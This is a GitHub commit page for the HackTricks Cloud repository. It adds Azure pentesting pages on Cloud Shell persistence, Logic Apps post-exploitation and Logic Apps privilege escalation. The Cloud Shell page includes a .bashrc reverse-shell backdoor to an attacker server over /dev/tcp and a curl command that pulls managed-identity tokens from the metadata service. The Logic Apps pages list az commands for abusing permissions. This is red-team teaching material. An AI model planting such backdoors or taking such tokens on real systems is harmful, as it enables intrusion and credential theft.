Skip to content

Commit 0b5ddcc

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents ebd07e4 + 46b377d commit 0b5ddcc

File tree

13 files changed

+804
-21
lines changed

13 files changed

+804
-21
lines changed

hacktricks-preprocessor.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,8 @@ def ref(matchobj):
7777
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
7878
sys.exit(1)
7979

80+
if href.endswith("/README.md"):
81+
href = href.replace("/README.md", "/index.html")
8082

8183
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
8284

src/SUMMARY.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -409,6 +409,7 @@
409409
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
410410
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
411411
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
412+
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
412413
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
413414
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
414415
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
@@ -452,6 +453,7 @@
452453
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
453454
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
454455
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
456+
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
455457
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
456458
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
457459
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
@@ -471,6 +473,7 @@
471473
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
472474
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
473475
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
476+
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
474477
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
475478
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
476479
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
@@ -480,6 +483,7 @@
480483
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
481484
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
482485
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
486+
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
483487
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
484488
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
485489
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Az - Cloud Shell Persistence
2+
3+
{% hint style="success" %}
4+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
5+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
6+
7+
<details>
8+
9+
<summary>Support HackTricks</summary>
10+
11+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
12+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
13+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
14+
15+
</details>
16+
{% endhint %}
17+
18+
## Cloud Shell Persistence
19+
20+
Azure Cloud Shell offers command-line access to manage Azure resources with persistent storage and automatic authentication. Attackers can exploit this by placing backdoors in the persistent home directory:
21+
22+
* **Persistent Storage**: Azure Cloud Shell’s home directory is mounted on an Azure file share and remains intact even after the session ends.
23+
* **Startup Scripts**: Files like .bashrc execute automatically at the start of each session, allowing for persistent execution when the cloud shell starts.
24+
25+
Example backdoor in .bashrc:
26+
27+
{% code overflow="wrap" %}
28+
```bash
29+
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
30+
```
31+
{% endcode %}
32+
33+
This backdoor can execute commands even 5 minutes after the cloud shell is finished by the user.
34+
35+
Additionally query Azure’s metadata service for instance details and tokens:
36+
{% code overflow="wrap" %}
37+
```bash
38+
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
39+
```
40+
{% endcode %}
41+
42+
43+
{% hint style="success" %}
44+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
45+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
46+
47+
<details>
48+
49+
<summary>Support HackTricks</summary>
50+
51+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
52+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
53+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
54+
55+
</details>
56+
{% endhint %}
Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
# Az - Logic Apps Post Exploitation
2+
3+
{% hint style="success" %}
4+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
5+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
6+
7+
<details>
8+
9+
<summary>Support HackTricks</summary>
10+
11+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
12+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
13+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
14+
15+
</details>
16+
{% endhint %}
17+
18+
## Logic Apps Database Post Exploitation
19+
For more information about logic apps check:
20+
21+
{% content-ref url="../az-services/az-logic-apps.md" %}
22+
[az-logic-apps.md](../az-services/az-logic-apps.md)
23+
{% endcontent-ref %}
24+
25+
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
26+
With these permissions, you can modify Logic App workflows and manage their identities. Specifically, you can assign or remove system-assigned and user-assigned managed identities to workflows, which allows the Logic App to authenticate and access other Azure resources without explicit credentials.
27+
28+
{% code overflow="wrap" %}
29+
```bash
30+
az logic workflow identity remove/assign \
31+
--name <workflow_name> \
32+
--resource-group <resource_group_name> \
33+
--system-assigned true \
34+
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
35+
```
36+
{% endcode %}
37+
38+
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
39+
With these permissions, you can create or update Logic Apps hosted on an App Service Plan. This includes modifying settings such as enabling or disabling HTTPS enforcement.
40+
41+
{% code overflow="wrap" %}
42+
```bash
43+
az logicapp update \
44+
--resource-group <resource_group_name> \
45+
--name <logic_app_name> \
46+
--set httpsOnly=false
47+
```
48+
{% endcode %}
49+
50+
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
51+
With this permission, you can start/stop/restart a web app, including Logic Apps hosted on an App Service Plan. This action ensures that a previously stopped app is brought online and resumes its functionality. This can disrupt workflows, trigger unintended operations, or cause downtime by starting, stopping, or restarting Logic Apps unexpectedly.
52+
53+
{% code overflow="wrap" %}
54+
```bash
55+
az webapp start/stop/restart \
56+
--name <logic_app_name> \
57+
--resource-group <resource_group_name>
58+
```
59+
{% endcode %}
60+
61+
62+
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
63+
64+
With this permission, you can configure or modify settings for web apps, including Logic Apps hosted on an App Service Plan. This allows changes to app settings, connection strings, authentication configurations, and more.
65+
66+
{% code overflow="wrap" %}
67+
```bash
68+
az logicapp config appsettings set \
69+
--name <logic_app_name> \
70+
--resource-group <resource_group_name> \
71+
--settings "<key>=<value>"
72+
```
73+
{% endcode %}
74+
75+
### "Microsoft.Logic/integrationAccounts/write"
76+
With this permission, you can create, update, or delete Azure Logic Apps integration accounts. This includes managing integration account-level configurations like maps, schemas, partners, agreements, and more.
77+
78+
{% code overflow="wrap" %}
79+
```bash
80+
az logic integration-account create \
81+
--resource-group <resource_group_name> \
82+
--name <integration_account_name> \
83+
--location <location> \
84+
--sku <Standard|Free> \
85+
--state Enabled
86+
```
87+
{% endcode %}
88+
89+
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
90+
91+
With this permission, you can create or modify batch configurations within an Azure Logic Apps integration account. Batch configurations define how Logic Apps process and group incoming messages for batch processing.
92+
93+
{% code overflow="wrap" %}
94+
```bash
95+
az logic integration-account batch-configuration create \
96+
--resource-group <resource_group_name> \
97+
--integration-account-name <integration_account_name> \
98+
--name <batch_configuration_name> \
99+
--release-criteria '{
100+
"messageCount": 100,
101+
"batchSize": 1048576,
102+
}'
103+
```
104+
{% endcode %}
105+
106+
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
107+
With this permission, you can create or modify maps within an Azure Logic Apps integration account. Maps are used to transform data from one format to another, enabling seamless integration between different systems and applications.
108+
109+
{% code overflow="wrap" %}
110+
```bash
111+
az logic integration-account map create \
112+
--resource-group <resource_group_name> \
113+
--integration-account-name <integration_account_name> \
114+
--name <map_name> \
115+
--map-type <Xslt|Xslt20|Xslt30> \
116+
--content-type application/xml \
117+
--map-content map-content.xslt
118+
```
119+
{% endcode %}
120+
121+
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
122+
With this permission, you can create or modify partners in an Azure Logic Apps integration account. Partners represent entities or systems that participate in business-to-business (B2B) workflows.
123+
124+
{% code overflow="wrap" %}
125+
```bash
126+
az logic integration-account partner create \
127+
--resource-group <resource_group_name> \
128+
--integration-account-name <integration_account_name> \
129+
--name <partner_name> \
130+
--partner-type <partner-type> \
131+
--content '{
132+
"b2b": {
133+
"businessIdentities": [
134+
{
135+
"qualifier": "ZZ",
136+
"value": "TradingPartner1"
137+
}
138+
]
139+
}
140+
}'
141+
```
142+
{% endcode %}
143+
144+
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
145+
With this permission, you can create or modify sessions within an Azure Logic Apps integration account. Sessions are used in B2B workflows to group messages and track related transactions over a defined period.
146+
147+
{% code overflow="wrap" %}
148+
```bash
149+
az logic integration-account session create \
150+
--resource-group <resource_group_name> \
151+
--integration-account-name <integration_account_name> \
152+
--name <session_name> \
153+
--content '{
154+
"properties": {
155+
"sessionId": "session123",
156+
"data": {
157+
"key1": "value1",
158+
"key2": "value2"
159+
}
160+
}
161+
}'
162+
```
163+
{% endcode %}
164+
165+
### "*/delete"
166+
With this permissions you can delete resources related to Azure Logic Apps
167+
168+
169+
170+
{% hint style="success" %}
171+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
172+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
173+
174+
<details>
175+
176+
<summary>Support HackTricks</summary>
177+
178+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
179+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
180+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
181+
182+
</details>
183+
{% endhint %}
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# Az - Logic Apps Privesc
2+
3+
{% hint style="success" %}
4+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
5+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
6+
7+
<details>
8+
9+
<summary>Support HackTricks</summary>
10+
11+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
12+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
13+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
14+
15+
</details>
16+
{% endhint %}
17+
18+
## Logic Apps Privesc
19+
For more information about SQL Database check:
20+
21+
{% content-ref url="../az-services/az-logic-apps.md" %}
22+
[az-logic-apps.md](../az-services/az-logic-apps.md)
23+
{% endcontent-ref %}
24+
25+
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
26+
27+
With this permission, you can create or update, Azure Logic Apps workflows. Workflows define automated processes and integrations between various systems and services.
28+
29+
{% code overflow="wrap" %}
30+
```bash
31+
az logic workflow create \
32+
--resource-group <resource_group_name> \
33+
--name <workflow_name> \
34+
--definition <workflow_definition_file.json> \
35+
--location <location>
36+
37+
az logic workflow update \
38+
--name my-new-workflow \
39+
--resource-group logicappgroup \
40+
--definition <workflow_definition_file.json>
41+
```
42+
{% endcode %}
43+
44+
And after changing it, you can run it with:
45+
46+
```bash
47+
az rest \
48+
--method post \
49+
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
50+
--body '{}' \
51+
--headers "Content-Type=application/json"
52+
```
53+
54+
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
55+
With these permissions, you can deploy, Logic App workflows using ZIP file deployments. These permissions enable actions such as reading app details, accessing publishing credentials, writing changes, and listing app configurations. Alongside the start permissions you can update and deploy a new Logic App with the content desired
56+
57+
{% code overflow="wrap" %}
58+
```bash
59+
az logicapp deployment source config-zip \
60+
--name <logic_app_name> \
61+
--resource-group <resource_group_name> \
62+
--src <path_to_zip_file>
63+
```
64+
{% endcode %}
65+
66+
{% hint style="success" %}
67+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
68+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
69+
70+
<details>
71+
72+
<summary>Support HackTricks</summary>
73+
74+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
75+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
76+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
77+
78+
</details>
79+
{% endhint %}

0 commit comments

Comments
 (0)